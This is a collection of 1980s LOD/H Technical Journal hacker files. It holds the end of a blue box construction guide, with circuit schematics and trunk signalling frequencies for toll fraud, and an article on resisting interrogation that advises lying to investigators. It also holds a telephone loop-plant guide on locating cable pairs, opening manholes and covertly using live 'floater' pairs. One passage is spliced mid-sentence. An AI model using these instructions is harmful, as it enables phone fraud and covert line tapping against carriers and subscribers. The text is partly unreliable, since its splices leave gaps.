          +--+-+-+-+-+-+-+-+----+      +--+----------+---+
          |  2 | 11| 10| 7 |    |      |  14         7   |
  (.01C)  |  | 3 | 4 | 8 | 1  12+------+1               |
  +--||---+5                  13+------+2   (*74C04*)    |
 _|_      |                    |      |                  |
 X_/GND   |     (*74C922*)     |      +-----------------+
    +--||-+6                   |
    |(.1C)|                    |
   _|_    |                    |
   X_/GND |   9  17 16 15 14  18|
          +--+--+--+--+--+---+--+
             |  |  |  |  |   |
            _|_ A  B  C  D   |
         GNDX_/ |  |  |  |  [+] (VCC)      [+] (VCC)
                |  |  |  |      (+5 volts)  |  (+5 volts)
                |  |  |  |                  |
         -------+--+--+--+------------------+-----------------
         |      23 22 21 20                 24             18+-+
   +-----+12                                                  | +--+
   |     |                 (*74LS154*)                     19+-+ _|_
  _|_    |                                                    |   X_/
  X_/GND |  1  2  3  4  5  6  7  8  9 10 11 13 14 15 16 17   |   GND
         +--+--+--+--+--+--+--+--+--+-+--+--+--+--+--+--+----+
            1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16
            |  |  |  |  |  |  |  |  | |  |  |  |  |  |  |
                                                          |    (Connects)
                                                          | +---------->
                                 +-----------------------+ |  (Figure 2)
                                 |       +--+       +-------+
                                 |       |  |       |
                              +--+-------+--+-------+---+
                              |  3--|>o--4  5--|>o--6   |
                              |   (Invtr.)   (Invtr.)   |
            +---------------+7                         |
```

```
           _|_                |        (*74C04*)        |
        GNDX_/   (VCC) [+]--+14                         |
               (+5 volts)   |                          |
                            +--------------------------+



    +-------------+                                    _
    |  Figure #2  |                                  / |
+---+-------------+----+          +----------------+  |
| Tone Generation Side |         _|_                |  | SPKR
+----------------------+      GNDX_/    +---+--+---+  |
                                        |   |       X_|
                                        |   |
                                        |   |  +---------------+
          +-------+                     |   |  |               |
          |      _|_                    |   +--+14             |
          |      X_/GND                 |      |  (Repeat of)  |
          |                             |      |    (First)    |
        ----- (.1C)                     |      |   (Circuit)   |
        -----                           |      |               |
          |                             |      | (*XR2207CP*)  |
          |       +-----------------+   |   +--+6              |
          |       |                 |   |   |  |               |
   [+]-----+-------+1              14+--+   |  +---------------+
  (VCC)            |                 |      +--------------------+
 (+9 Volts)   +----+2                |                           |
              |    |               12+----------------------+     |
     (.01C) -----  |                 |                    _|_    |
            -----  |  (*XR2207CP*)   |                    X_/GND |
              |    |                 |       1.5K Ohms           |
              +----+3              11+---+---X/XRx/X/---+--+     |
                   |                 |   |            | _|_    |
                   |                 |   +---X/XRx/X/---+ X_/GND |
                   |                 |       1.0K Ohms           |
                   |              10+----+                      |
     +-------------+6              9+----+---+                  |
     |             |               8+----+   |                  |
     |             |                 |      ----- (.1C)         |
     |             +-----------------+      -----               |
     +---------+                            _|_      +----------+
     |         | Pot.                    GNDX_/ Pot. |          |
     |        X/X/X/X/--+----------------------X/X/X/X/         |
     |         1400 Hz. |                       1600 Hz.        |
     +---------+        |                            +----------+
     |         | Pot.   |                       Pot. |          |
     |        X/X/X/X/--+----------------+------X/X/X/X/         |
     |         1500 Hz. |                |       900 Hz.         |
     |                  |                |                       |
     |     14 more      |                |       14 More         |
     |   Potentiometers |                |     Potentiometers    |
     |     in this      |                |       in this         |
     |   area left out  |                |     area left out     |
     |   for simplicity |                |     for simplicity    |
     |                  |                |                       |
     |                  |                |                       |
                        |
           (Connects)   |
         <-------------+
           (Figure 1)


+-------------------------+
| Multiplex Keypad System |
```

```
+-------------------------+
```

First, the multiplex pattern used in the 4x4 keypad layout. I suggest that keys 0-9 be used as the Blue Box's 0-9 keys, and then you can assign A-D, *, # keys to your comfort (ie. * = Kp, # = St, D = 2600, and A-C as Kp1, Kp2 or however you want).

Note: On your 2600 Hz. key (The D key in example above) it may be a good idea to tune in a second potentiometer to 3700 Hz. (Pink Noise).

```
    Keypad      Key Assignments   Multiplex Pattern
  +---------+   +-------------+    +------------+
  | 1 2 3 A |   | 1  2  3  4  |    | 1  2  3  A |----Y1=8   X1=3
  | 4 5 6 B |   | 5  6  7  8  |    | 4  5  6  B |----Y2=1   X2=5
  | 7 8 9 C |   | 9  10 11 12 |    | 7  8  9  C |----Y3=2   X3=6
  | * 0 # D |   | 13 14 15 16 |    | *  0  #  D |----Y4=4   X4=7
  +---------+   +-------------+    +------------+
                                     |  |  |  |
                                     X1 X2 X3 X4
```

Blue Box Frequencies

This section is taken directly from Mark Tabas's "Better Homes and Blue Boxing" file Part 1.

Frequenies (Hz)	Domestic	Int'l
700+900	1	1
700+1100	2	2
900+1100	3	3
700+1300	4	4
900+1300	5	5
1100+1300	6	6
700+1500	7	7
900+1500	8	8
1100+1500	9	9
1300+1500	0	0
700+1700	ST3p	Code 11
900+1700	STp	Code 12
1100+1700	KP	KP1
1300+1700	ST2p	KP2
1500+1700	ST	ST
2600+3700	*Trunking Frequency*	

Note: For any further information about the uses or duration of the frequencies, read the Mark Tabas files.

Schematic Help

This is the Key to the diagrams in the schematic. I hope that they help more then they might hurt.

```
    _|_
    X_/GND   is the Ground symbol

     | |
  ---| |--   is the Capacitor symbol
     | |     (.1C)  stands for a .1 uf Capacitor
```

```
             (.01C) stands for a .01 uf Capacitor
     |
   -----
   -----     is another Capacitor symbol
     |

--X/XRx/X/-- is the Resistor symbol (The 1.5K Ohm and 1.0K Ohm
                                     Resistors are at +/- 5% )
---+
   |
  X/X/X/X/-- is the Potentiometer symbol (The frequncies I supplied
                                          above are just examples.)
 --|>o--     is the Inverter symbol
```

Conclusion

This is just one way to build a Blue Box. If you choose this way, then I hope this file is adequate enough to aid you in the construction. Although these are not the best plans, they do work. This file does not tell you how to use it or what to do once it's built. For that information I mention that you read Mark Tabas's "Better Homes and Blue Boxing" files, or any other files/BBS subboards that deal with that realm.

If you need help, I sluggest (thanks for that one Taran) that you ask a close friend, possibly an electronics teacher, or a phreak friend to help you. Also, if you need help or have questions or comments about this file, you can address them to me. I can be contacted through the LOD/H Technical Journal Staff account on the boards listed in the Intro, or on the few boards I call.

Credentials

At last, this article would not be possible without the help of the following people/places whom contributed to it in one way or another (it may not be apparent to them, but every minute bit helps).

```
Deserted Surfer   (Who helped immensly from Day 1 of this project.)
                  (Without his help this file would not be.)
Mark Tabas        (For the BHBB files which inspired my interests.)
Nickie Halflinger (For the original Blue Box plans I used.)
Mr. America       (For the original Blue Box plans I used.)
Lex Luthor
Cheap Shades
Exar Corp.
```

Lastly, I would like to thank the United States government for furnishing federal grants to this project. Without their financial help, I would have had to dish out the money from my own pocket (Approximately $80.00. Egads!)

Jester Sluggo

Intelligence and Interrogation Processes

By: Master Of Impact and the Legion Of Hackers

INTRODUCTION:

Doing what we do best always carries the risk of someone, somewhere, wanting to hold you for questioning. In this article I hope to give those persons who that are in use (and are in no ways happen to be all new), that can give you the edge you need to come away "sin faulta". In fact, these interrogation practicies are used a lot by teachers, local police, the FBI and Secret Service girlfriends, wives, parents, etc. to obtain information from you that you probably don't want to give out.

Interrogation is the art of questioning and examining a source in order to obtain the maximum amount of useful information. The goal of any interrogation is to obtain useful and reliable information in a lawful manner and in a minimum amount of time. The goal of any source is to deceive or hinder any attempts of the interrogator to get information out of him.

This article will deal primarily with the principles, techniques, and procedures of intelligence interrogation. By reading this article, one who runs the risk of being interrogated can build countermeasures for common interrogation techniques. This article has some paraphrased material from a government interrogation manual but the majority of the information was from personal experience and prior knowledge of the subject.

You cannot hope to defeat interrogation techniques unless you first know what they are. The ones listed herein are the most commonly used. After reading this article, you should be able to tell when you are being interrogated by people, and what technique(s) they are using when you probably would not have known before. Once you know what they are up to and how they are going to TRY to accomplish it, YOU have the initiative!

INITIATIVE:

Achieving and maintaining the initiative is essential to a successful interrogation just as offense is the key to success in combat operations. The initiative in any interrogation must rest with the interrogator throughout the entire interrogation. He will have certain advantages at the beginning of an interrogation which will enable him to grasp the initiative and assist in maintaining the initiative throughout the interrogation.

The interrogator has a position of authority over you. You realize this fact, and in some cases, believe that your future might well depend upon your association with the interrogator. As in the case of police questioning, "cooperate and we will go easy on you". Like hell they will.

The interrogator knows the purpose of the interrogation; the source does not necessarily know the exact reason, but can generally assume (especially in the case of a computer hacker or phone phreak, which is what the term "source" will be referring to during this article) because he or she is most usually conscious of horrible and nasty wrong-doings he or she may have been responsible for. Unfortunately for the source, he is generally very much in the dark about what's happening to his life while it is, in fact, crumbling around him (temporarily, anyway). This gives the source a not-so-illusionary behavior pattern of the proverbial chicken who's had its head chopped off.

Having gained the initial advantage which is quite an understatement, seeing that, although the risks to the source during the perpetration of a crime are quite obvious, the possible realistic results of being caught aren't quite as impressive while one is getting away with a crime than when one's home is invaded by the JC Penny-suit men wearing mirrored sunglasses, the interrogator must strive to maintain the initiative applying appropriate interrogation techniques through the exercise of self-control; by taking advantage of the source's weaknesses as they become apparent; and by continuously displaying an attitude of confidence and self-assurance. The

interrogator, however, is 'supposed' to never take advantage of your weaknesses to the extent that the interrogation involves threats, insults, torture or exposure to unpleasant or inhumane treatment of any kind. Remember, the keyword is supposed.

It is possible for the interrogator to lose the initiative during the interrogation of a source. If this should occur, he will probably postpone the interrogation and reassess the situation. If the interrogation is resumed, a different interrogator will probably be introduced. Following are some examples of loss of initiative:

* The interrogator becomes angry and completely loses his self-control because of the arrogant actions of the source (such as the unbuttoning of a jacket to reveal "Secret Service Sucks" spray painted onto the source's T-shirt.) As a result, the interrogator loses sight of his objective and concentrates his efforts on humbling the source.

* During the interrogation the interrogator fails to note significant discrepancies in the source's story. The interrogator may lose his initiative as the source gains confidence from his success and resorts to further deception, leading the interrogator away from his objective.

* The interrogator becomes overly friendly with the source and allows him to lead the interrogation. The source reports only what he believes to be important and neglects several significant items of info which could have been obtained had the interrogator maintained the initiative.

PHASES OF INTERROGATION:

Approach Phase:

Regardless of the type of source you are and your outward personality, you do possess weaknesses which, if recognized by the interrogator, can be exploited. A human being is likely to:

- Talk, especially after harrowing experiences
- Show deference when confronted by superior authority
- Rationalize acts about which he feels guilty
- Lack the ability to apply or to remember lessons he may have been taught regarding security if confronted with a disorganized or a strange situation.
- Cooperate with those who have control over him
- Attach less importance to a topic which the interrogator demonstrates identical or related experiences and knowledge
- Appreciate flattery and exoneration from guilt
- Cooperate readily when given material rewards
- Cooperate readily when treated as an equal

TECHNIQUES:

"File and Dossier"

The interrogator prepares a dossier containing all available info obtained from records and docs concerning you. Careful arrangement of the material within the file may give the illusion that it contains more data than is actually there. The file may be "padded" with extra paper, if necessary. Index tabs with titles such as "education", "employment", "criminal record", "bulletin boards", "violated computer systems", and others are particularly effective for this

purpose. The interrogtor will confront you with the dossier at the beginning of the interrogation and explain that "intelligence" has provided a complete record of every significant happening in your life; therefore, it would be useless to resist interrogation. The interrogator may read a few selected bits of known data to further impress you. If the technique is successful, you will be impressed with and more importantly, terrified by the "voluminous" file, conclude that everything is known, and resign to complete cooperation.

"We know ALL"

This technique may be employed in conjunction with the above or by itself. The interrogator must first become thoroughly familiar with the available data concerning you. To begin the interrogation, the interrogator asks questions based on his known data. When you hesitate, refuse to answer, or provide an incomplete or incorrect reply, the interrogator himself provides the detailed answer. Through the careful use of the limited number of known details, the interrogator may convince you that all the info is already known; therefore, your answers to the questions are of no consequence. When you begin to give accurate and complete information, the interrogator interjects questions designed to gain the needed info. Questions to which answers are already known are also asked to test you and to maintain the deception that all the info is already known. A VERY effective technique I might add.

"Rapid Fire"

This approach technique involves a psychological ploy based on the principles that:

* Everyone likes to be heard when they speak; and

* It is confusing to be interrupted in mid-sentence with an unrelated question.

This technique may be used with one, or simultaneously by two or more interrogators in questioning the same source. In employing this technique the interrogator asks a series of questions in such a manner that you do not have time to answer a question completely before the next question is asked. This tends to confuse you and you are apt to contradict yourself, as you have little time to prepare your answers. The interrogator then confronts you with the inconsistencies, causing further contradictions. In many instances you will begin to talk freely in an attempt to explain yourself and deny the inconsistencies pointed out by the interrogator. In attempting to explain your answers, you are likely to reveal more than you intend, thus creating additional leads for the interrogator.

"Mutt and Jeff"

This technique involves a psychological ploy which takes advantage of the natural uncertainty and guilt which a source has as a result of being detained and questioned. Use of this technique necessitates the employment of two experienced interrogators who are convincing as actors. Basically, the two interrogators will display opposing personalities and attitudes towards you. For example the first interrogator is very formal and displays an unsympathetic attitude. This is to make you feel cut off from your friends. At the time when you act hopeless and alone, the second interrogator appears (having received his cue by a signal, and is hidden from you), scolds the first interrogator for his harsh behavior and orders him from the room. He then apologizes to soothe you, perhaps offering coffee and a cigarette. He explains that the actions of

the first interrogator were largely the result of an inferior intellect and lack of human sensitivity. The inference is created that the other interrogator and you have in common a high degree of intelligence and an awareness of human sensitivity, above and beyond that of the first interrogator. You are normally inclined to have a feeling of gratitude towards the second interrogator, who continues to show a sympathetic attitude in an effort to increase the rapport and control for the questioning which will follow. Should your cooperativeness begin to fade, the second interrogator can hint that since he is of high rank, having many other duties, he cannot afford to waste time on an uncooperative source. He may broadly infer that the first interrogator might return to continue the questioning. When used against the proper source, this trick will normally gain complete cooperation for the interrogation.

"Repetition"

Repetition is used to induce cooperation from a hostile source. The interrogator listens carefully to your answer to a question, and then repeats both the question and answer several times. He does this with each succeeding question until you become so bored with the procedure that you answer the question fully and truthfully to satisfy the interrogator and to gain relief from the monotony of this method of questioning. The repetition technique will generally not work when employed against introverted sources or those having great self control.

"Pride and Ego"

This technique works effectively on many phreaks and hackers due to the fact that many are so damn egotistical. The strategy is to trick you into revealing desired information by flattering you. It is effective with sources who have displayed weaknesses or feelings of inferiority. The interrogator accuses you of weakness or implies that you are unable to do a certain thing. The proud or egotistical source will jump to the defensive. An example of an opening question for this technique may be: "Why would you own a blue box when you have absolutely no idea how to use one?" or, "Why do you hack VMS systems if you can't do a damn thing once you're inside of one?" It provides you with the opportunity to show someone that you have "brains" and in doing so, you give the interrogator more information than you should have.

"Silent"

The Silent technique may be successful when used against either the nervous, or the confident-type source. When employing this technique, the interrogator says nothing to you, but looks you squarely in the eye, probably with a slight smile on his face. It is important for the interrogator not to look away from you, but force you to break eye contact first. You will become nervous, begin to shift around in your chair, and look away. If you ask questions the interrogator probably will not answer them until he is ready to break the silence. A source may blurt out questions such as, "What the hell do you want with me". When the interrogator is ready to break the silence, he may do so with some quite nonchalant questions such as, "You've been logging on to our system for a long time now, haven't you? Did you hack the passwords yourself?".

In some cases the interrogator will use several approach techniques concurrently, or in succession.

QUESTIONS:

There are various questions that the interrogator may ask you:

* Prepared questions: When the topic under inquiry is very technical or when legal aspects of the interrogation require preciseness, the interrogator will have a list of prepared questions to follow during the interrogation.

* Control questions: To maintain control and to check on the truthfulness of a source, the normal questions will be mixed with control questions-those with known answers. If you fail to answer these questions, or answer wrong, it will indicate that you are either not knowledgeable in the topic or that you are lying.

* Nonpertinent questions: Sometimes it is necessary for the interrogator to keep the true objective of the interrogation from you. By carefully blending pertinent questions with nonpertinent questions, the interrogator can conceal the true purpose of the inquiry.

* Direct and leading questions: The manner in which the questions are worded has a direct bearing on your response. A question may be posed in a number of ways:

  o "What system did you hack into on 11/11/86?"

  o "Did you break into General Dynamics' computer on 11/11/86?"

  o "You did break into GD's computer on 11/11/86?"

  o "You didn't break into GD'S computer on 11/11/86, did you?"

PSYCHOLOGY IN INTERROGATION:

The interrogator will watch for various psychological responses from you during an interrogation. Some of these are:

* Rationalization: Creating plausible excuses or explanations for one's acts without being aware that these excuses or explanations are way off the [obvious] reality.

* Identification: To identify with and mimic a mental image of some one important to you.

* Compensation: Trying to make up for a psychological weakness by building up or exaggerating a psychological strength.

* Exhibitionism: Showing off, bragging, etc.

* Fear, Anger, Frustration, etc.

Of course when being interrogated, you should remain as emotionless as possible and never show anger, or get upset (NEVER inflict physical abuse upon the unsuspecting interrogator. This only creates tension between both the interrogator and yourself). Your every move, every response, every action is noted and used by the interrogator to get you to screw up and give him what he wants.

There can be two main objectives that you can obtain when being interrogated. The first is to find ways to force the interrogator to lose his initiative. You can do this in many ways. A few that come to mind are: Repeat everything the interrogator says. Mimic the interrogator. Laugh at the interrogator. Basically piss the interrogator off and make him so mad that he loses sight of his objective. This may however, get you in deeper trouble, but it may give you

extra time while another interrogator is found.

Lie like hell to the interrogator and piss him off. Such as the pathological liar gimmick: "I broke into the NSA's computer, yeah, and then used their network to get into the presidents private computer yeah that's it, the password was uh...Bonzo, yeah, and then used it to take control of a satellite used for Star Wars, and made it land right on top of the Kremlin, yeah that's the ticket!"

You can also change the subject over and over again to totally unrelated things such as: its a nice day out today, hows the wife and kids, how about some food, who do you think is going to the superbowl, etc.

The other and probably better objective is simply to pretend to fall for any of the various techniques used against you and feed the interrogator more and more bullshit, of course being very sincere. This way he gets totally bogus information while thinking you are cooperating fully.

Well, I hope you never have to put this article to use in a legal manner, but you would be surprised how everyday you are interrogated without even realizing it by normal people who probably don't realize they are interrogating you!

As stated in the other articles, you can reach me for comment via the staff account.

MofI (LOH)

The LOD/H Technical Journal: File #8 of 12

*** NOTE ***
BECAUSE OF THE LENGTH OF THIS GUIDE, IT HAS BEEN BROKEN INTO TWO PARTS FOR TRANSMISSION. HOWEVER, IT IS ONE VOLUME, AND IS INTENDED TO BE PRINTED AS A WHOLE FOR USE AS BOTH A TUTORIAL AND A REFERENCE GUIDE.

****

The Legion of Doom!
Presents:

LOD Reference Guide Vol. I

Outside Loop Distribution Plant

Written 12/86 Phucked
Revision III Agent
04

****

INTRODUCTION / OUTLINE

Basically, the outside local loop distribution plant consists of all of the facilities necessary to distribute telephone service from the central office (CO) out to the subscribers. These facilities include all wire, cable, and terminal points along the distribution path. In this article, we shall

follow this path from the CO to the subscriber, examining in depth each major point along the route and how it is used. This is especially useful for checking if any 'unauthorized equipment' is attached to your line, which would not be attached at the Central Office. I suppose this article can also be interpreted to allow someone to do just the opposite of its intended purpose...

Note that this article is intended as a reference guide for use by persons familiar with the basics of either LMOS/MLT or the operation of the ARSB/CRAS (or hopefully both), because several references will be made to information pertaining to the above systems/bureaus. I have no manuals on this topic, all information has been obtained through practical experience and social engineering.

****

Serving Area Concepts (SAC) plan

In order to standardize the way loop distribution plants are set up in the Bell System of the U.S. (and to prevent chaos), a reference standard design was created. For urban and suburban areas, this plan was called the Serving Area Concepts (SAC) plan. Basically, in the SAC plan, each city is divided into one or more Wire Centers (WC) which are each handled by a local central office switch. A typical WC will handle 41,000 subscriber lines. Each WC is divided into about 10 or so Serving Areas (depending on the size and population of the city), with an average size of 12 square miles each (compare this to the RAND (Rural Area Network Design) plan where often a rural Serving Area may cover 130 square miles with only a fraction of the number of lines). Each Serving Area may handle around 500-1000 lines or more for maybe 200-400 housing units (typically a tract of homes).

From the CO, a feeder group goes out to each Serving Area. This consists of cable(s) which contain the wire pairs for each line in the SA, and it is almost always underground (unless it is physically impossible). These feeder cables surface at a point called the Serving Area Interface (SAI) in a pedestal cabinet (or "box"). From the SAI, the pairs (or individual phone lines) are crossed over into one or several distribution cables which handle different sections of the SA (ie. certain streets). These distribution cables are either of the aerial or underground type. The modern trend is to use buried distribution cables all the way to the subscriber premises, but there are still a very large number of existing loop plants using aerial distribution cables (which we will concentrate mainly upon in this article). These distribution cables are then split up into residence aerial drop wires (one per phone line) at a pole closure (in aerial plant), or at a cable pair to service wire cross box (in buried plant). The cable pairs then end up at the station protector at the customer's premises, where they are spliced into the premise "inside wire" (IW) which services each phone in the customer's premises (and is also the customer's responsibility).

Although this is the "standard" design, it is by no means the only one! Every telco makes it's own modifications to this standard, depending on the geographic area or age of the network, so it's good to keep your eyes and your mind open.

****

At this point, we will detail each point along the Loop Distribution Plant.

Cable Facility F1 - CO Feeder

The F1 cable is the feeder cable which originates at the Main Distribution Frame (MDF) and cable vault at the local CO and terminates at the SAI. This cable can contain from 600 to over 2000 pairs, and often more than one

physical F1 cable is needed to service a single Serving Area (at an SAI). The F1 is almost always located underground, because the size, weight, and number of feeders leaving the CO makes it impossible to put them on normal telephone poles. Since is is also impractical to use one single piece of cable, the F1 usually consists of several pieces of large, pressurized or armored cable spliced together underground (this will be covered later) into a single cable.

Cable Numbering

In order to make locating cables and pairs easier (or possible, for that matter), all of the cables in the loop distribution plant are numbered, and these numbers are stored in databases such as LMOS at the ARSB or other records at the LAC (Loop Assignment Center) or maintenance center. When trying to locate someone's cable pair, it helps a great deal to know these numbers (although it can be done without them with experience and careful observation). Probably the most common place to find these numbers is on a BOR, in the "Cable & Assignment Data" block. The F1 is usually assigned a number from 00 to 99 (although 000-999 is sometimes used in large offices). Cable >pair< numbering is different however, especially in older offices; typical F1 pair numbers range from 0000 to 9999. Keep in mind that the pair number is not concrete -- it is merely nominal, it can change, and it doesn't necessarily have any special meaning (in some well organized offices, however, the cables and pairs may be arranged in a certain way where you can determine what area it serves by its number (such as in my area...heh heh); in any case, it's up to you to figure out your area's layout). Anyway, the cable-pair number is usually written in a format such as 02-1495, where 02 is the cable and 1495 is the pair (incidentally, since this is the CO Feeder cable pair that is connected to the MDF, it is the one that will be listed in COSMOS).

F1 Access Points

Although the F1 is run underground, there is really not a standard access point down there where a certain pair in a cable can be singled out and accessed (as will be explained next). There is, however, a point above ground where all the pairs in the F1 can be accessed -- this point is known as the Serving Area Interface (SAI), and it will be detailed later. In LMOS or other assignment records, the address of the SAI will be listed as the TErminal Address (TEA) for the F1 cable handling a certain pair in question; therefore, it is where facility F1 stops.

Underground Plant

The term "Underground Plant" refers to any facilities located below the surface of the earth; this includes truly "buried" cables, which are located 6-or-so feet underground surrounded basically by a conduit and dirt, as well as cables placed in underground cement tunnels along with other "below-ground" equipment (such as seen in most urban areas). Whereas the first type is really impossible to access (unless, of course, you want to dig for a day or so and then hack into an armored, jelly-filled PIC cable-- then you should take a bit of advice from our resident Icky-PIC "Goo" advisor, The Marauder), the latter type can be accessed through manholes which lead to the underground tunnel.

Manholes

Bell System manholes are usually found along a main street or area where a feeder cable group passes through. Using an underground cable

location map is the best method for locating cable paths and manhole appearances, although it may not always be available. These maps can be acquired from the Underground Service Alert (USA) (at 800-422-4133), but often a "cable locator" will be dispatched instead (usually he will just mark off how far down or where you can dig without hitting a cable), so this is not a very practical method. Of course, you can always follow the warning signs on telephone poles ("call before you dig", etc) and the spans between SAI bridging heads until you find a manhole. The F1 for the SAI nearest the manhole should be found down there along with others en route to the areas they serve.

There are several types of manhole covers, both round and rectangular. The rectangular ones are sometimes just hinged metal plates covering an underground terminal or cable closure, and these are easily opened by one person. A non-hinged one may require two people. Round manhole covers (which, by the way, are round so that a lineman can't accidentally drop the cover down the hole) are basically all the same, except for the types known as "C" and "D" type manhole covers which utilize locking bolts (these can be removed using a standard crescent or hex socket wrench). These covers are the same as the order. This is aided even further by the fact that since F1's usually last longer than F2 facilities, there are often more spare provisional F2 facilities in the loop plant (ie. 100 feeders in, 300 F2 out (200 aren't cross-connected to F1's)). So there is a good chance that you will find one that is distributed to your area. Other spare facilities include "floaters", which are like spare feeder pairs, except they are ACTIVE lines. Often, a telco will extend whole feeder groups to more than one SAI in provision for future expansion, including active cable pairs. If you find a working pair on a feeder panel which is not cross-connected to a distribution pair, that pair is a floater. This is by far the best way to covertly access a certain pair, because most linemen will probably not be aware of the pair's presence (it looks unused on the surface). Beware! If you think you can hook up to someone's floater and get free service, you're probably wrong (so many other people have been wrong, in fact, that Pacific Bell has a special "Form K-33" to report this type of fraud), because the telco is more aware of this than you may think. Obviously any toll call you make will show up on the bill for that line. A do-it-yourself spare pair activation can avoid this problem, if done correctly.

****

End of First half, attach second half here.

The LOD/H Technical Journal: File #9 of 12

*** Second half of The Outside Loop Distribution Plant starts here. ***

Cable Facility F2 - Distribution

The F2 distribution cable is the cable which originates from the F1 feeder in the SAI and distributes individual cable pairs to each subscriber. This cable can be one of two types: aerial or buried. The most common is the aerial distribution cable, although buried cable is the modern trend. In the case of aerial F2, the cable or cables leave the SAI underground, and at the first telephone pole on the distribution span, the cable is routed up the pole. It then is suspended on the span, such as down a street, and at each group of houses there is a terminal on the span. This terminal is the aerial drop splitter, and it's purpose is to break off several pairs from the distribution cable in order to distribute them (in the form of aerial drop wires) to each house or premise. The location or address of the premise nearest this aerial drop splitter is the TErminal Address of the F2 serving a certain pair (each group of pairs in the F2 will have it's own terminal address, unlike the one address for the F1 terminal (SAI)). The F2 cable is always the lowest cable on the

telephone pole, and it is usually a great deal larger than the electric power distribution cables above it. Often more than one F2 can be seen on a single pole span. In this case, the top F2 will usually be the one which is being distributed to the subscribers on that street, and the lower (and most often larger) cables are other F2's coming from an SAI and going to the streets which they service: These cables consist of multiple spliced spans, and they will not have any drop wires coming off them (they are marked every few poles or so at a splicing point called a "bullet closure" which is fully enclosed and can be quite large (ie. 6" dia, 20" long) as compared to the normal drop splitters (ie. or similar 4"w x 5"h x 12"l) -- these closures are clamp pressurized and are not meant to be opened unless the cable is being replaced or splicing work is being done. They are not standard cable/pair access points).

Buried F2 plant is similar to aerial, except that the cable is not visible because it is underground. Instead of going to a pole from the SAI, the cable continues underground. The drop wires are also underground, and the method of breaking them from the distribution cable is similar to that of the aerial drop splitter, except it is a small pedestal or box located on the ground near the houses it serves. This address closest to this pedestal is the TEA for the F2.

F2 Cable Numbering

The F2 distribution cable is usually given a 4 or 5 digit number, depending on the office. The first 2 or 3 digits should be the number of the F1 that the F2 was branched off of, and the last 2 or 3 digits identify the distribution cable. Example-

```
F1   Cable                    F2   Cable
       25                           2531
 This F2 cable came from feeder #25^^
```

The cable >pair< numbers may be set in a similar way, with the last 3 or 4 digits identifying the pair, and the first digit (usually a 1) identifying the pair as a feeder or a distribution pair. Example -

```
F1   Cable    Pair            F2   Cable    Pair
       25     1748                  2531     748
              ^--signifies F1 (feeder) cable pair
```

Generally, the F1 cable pairs are numbered higher than the F2 cable pairs, due to the fact that a feeder cable may contain several distribution cables' worth of cable pairs. Note once again that all of this numbering plan is the STANDARD, and it may be far from real life! As soon as one distribution pair is replaced, crossed over to another feeder pair, or taken from service, the set order is interrupted. In real life, it is most always necessary to get both F1 and F2 cable assignment data.

****

Facilities F3-F5, Rural Area Interface (RAI)

Although cable facilities F3, F4, and F5 may be specified in any loop plant, they are rarely seen anywhere except in rural areas under the RAND plan (Rural Area Network Design). Basically, plants using these extra facilities are similar to F1/F2 plants, except there are extra cable spans and/or terminals in the path. When locating cables, the highest numbered facility will be at the end of the path, terminating near the subscriber's end (like a "normal" F2), and the lowest numbered facility will be the feeder from the CO (like a "normal" F1). The extra spans will be somewhere in between, like an intermediate feeder or extra distribution cable with separate cable

access terminals. One such facility is the Rural Area Interface (RAI), which can be used in a "feeder-in, feeder-out" arrangement. This is usually seen on cable routes of 50 pairs or greater, with a length of longer than 30 kft (about 6 miles). In this case, there will be two terminal cabinets in the feeder path, labelled RAI-A and RAI-B. The RAI-A is special because it has a two-part terminal block: the top has switching panels with 108-type connectors which cross-connect feeder-in and feeder-out pairs using jumper plugs, and the bottom has standard 76-type binding posts which cross-connect feeders to distribution cables for subscribers in the local area of the RAI-A. The jumper plugs can only be connected in one way to the switching panels, so random cross-connection of feeder-in/feeder-out pairs is prevented. In this way, the cable and pair numbers stay the same as if the feeder cable was uninterrupted. This is used a lot in rural areas; it allows part of a feeder group to be split off at the RAI-A like a distribution cable near a town along the route, and the rest of the feeder group continues on to a town further away, to the RAI-B where it is terminated as in a "normal" SAI. In order to access a pair, just use the last RAI in the span (whichever it is) and treat it just like an SAI. If the pair terminates at RAI-B, you can also access it at RAI-A! (if you can locate the pair using color code, BP number, or (ughh) ANI, there should be test terminals on top of the jumper plugs connecting the 108's on the switching panel where you can hook your test set -- you can't hook onto a raw 108 connector very easily). Anyway, the RAI terminal is usually a ground pedestal with a cabinet such as a 40-type, but it can be aerial mounted on a pole (hard to access).

Pair-Gain, Carried Derived Feeder

Another common facility in rural areas (and in cities or suburbs, especially near large housing complexes, etc.) is the pair-gain system. It is basically a system which consists of a digital link which is distributed, almost like a normal cable pair, out to a terminal cabinet called a Remote Terminal (RT) which contains equipment which demultiplexes the digital line into many "normal" metallic analog telephone lines which go to each subscriber in the area. Because the digital line can transmit the audio from several separate lines and multiplex them onto one cable, only one special cable pair is needed to come from the CO as a feeder, instead of several separate ones; this is why it is called a "pair gain" system. The remote terminal (RT) contains both the demultiplexing electronics as well as a small "SAI" type terminal block for connecting the pairs to distribution cables on the side of the path toward the subscriber. Because the "feeder" is not a multipair cable but a digital link (ie. T-carrier), this arrangement is known as a "carrier-derived feeder." The SAI part of the RT is used just like a normal SAI on the distribution side (BLUE), but the feeder side will be slightly different. Carrier-derived feeders are always marked with YELLOW labels, and their pairs will be crossed over to distribution cables just like in an SAI. So, in order to access a pair in a system like this, you must do so on the DISTRIBUTION side, because you can't hook an analog test set to a 1.544 Mbps digital T-carrier line! (or worse yet, a fiber optic cable). This may be difficult, because these cabinets are always locked (with few exceptions), so you'll have to find a terminal closer to the subscriber -- also be aware that many RT's are equipped with silent intrusion alarms. Anyway, some common pair-gain systems are the Western Electric SLC-8, 40, 96, and GTE's MXU, ranging in size from 8 to over 96 lines. RT cabinets can often be identified by the ventillation grilles (with or without a fan inside) which are not present on SAI's or other non-RT cabinets.

****

Aerial Distribution Splice Closure, Drop Wire Splitter

This terminal is the point where the individual cable pair for a certain subscriber is split from the F2 distribution cable and spliced onto an aerial drop or "messenger" wire which goes to the subscriber's premises. In an aerial distribution plant, 2 types of this terminal are common:

1> Western Electric 49-type Ready Access Closure / Cable Terminal

2> Western Electric 53A4, N-type Pole Mount Cable Terminals

